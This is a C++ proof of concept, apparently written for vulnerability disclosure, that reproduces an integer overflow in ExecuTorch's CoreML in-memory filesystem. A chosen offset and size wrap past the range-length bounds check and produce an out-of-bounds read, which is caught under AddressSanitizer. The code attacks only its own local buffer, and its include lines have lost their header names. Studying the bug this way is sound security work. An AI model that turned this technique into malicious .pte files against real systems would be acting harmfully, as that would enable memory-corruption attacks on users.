// Standalone PoC — faithful reproduction of the ExecuTorch CoreML inmemoryfs // integer-overflow -> bounds-check-bypass -> OOB read. // Logic taken verbatim from pytorch/executorch @ main: // backends/apple/coreml/runtime/inmemoryfs/range.hpp:10-22 // backends/apple/coreml/runtime/inmemoryfs/memory_buffer.cpp:254-262 (MemoryBuffer::slice) #include #include #include #include // range.hpp:10-22 struct Range { size_t offset, size; Range(size_t o, size_t s) noexcept : offset(o), size(s) {} inline size_t length() const noexcept { return offset + size; } // range.hpp:21 unchecked add }; static uint8_t* g_data; // stands in for MemoryBuffer::data() static size_t g_size; // stands in for MemoryBuffer::size() // memory_buffer.cpp:254-262 MemoryBuffer::slice(Range range) static uint8_t* slice(Range range) noexcept { if (range.length() > g_size) { // guard BYPASSED when offset+size overflows size_t return nullptr; } return g_data + range.offset; // wild pointer from attacker-controlled offset } int main() { setvbuf(stdout, NULL, _IONBF, 0); // unbuffered so prints survive the ASan abort g_size = 16; g_data = new uint8_t[g_size]; memset(g_data, 0x41, g_size); // Attacker-controlled Range deserialized from a malicious in-memory-FS blob in a .pte. // offset lands just past the buffer (in ASan's redzone); size chosen so offset+size // wraps size_t to 0, sailing past the 'length() > size()' guard. Range r(20, SIZE_MAX - 19); printf("[*] buffer size = %zu\n", g_size); printf("[*] attacker offset = %zu\n", r.offset); printf("[*] attacker size = %zu\n", r.size); printf("[*] length()=offset+size = %zu (wrapped past SIZE_MAX)\n", r.length()); printf("[*] guard 'length() > size()': %zu > %zu -> %s\n", r.length(), g_size, (r.length() > g_size) ? "REJECT" : "PASS (bypassed!)"); uint8_t* p = slice(r); if (p) { printf("[!] slice() returned ptr %ld bytes past a %zu-byte buffer; dereferencing:\n", (long)(p - g_data), g_size); volatile uint8_t x = p[0]; // OOB read -> AddressSanitizer trap printf("[!] OOB read = 0x%02x (should NOT reach here under ASan)\n", x); } delete[] g_data; return 0; }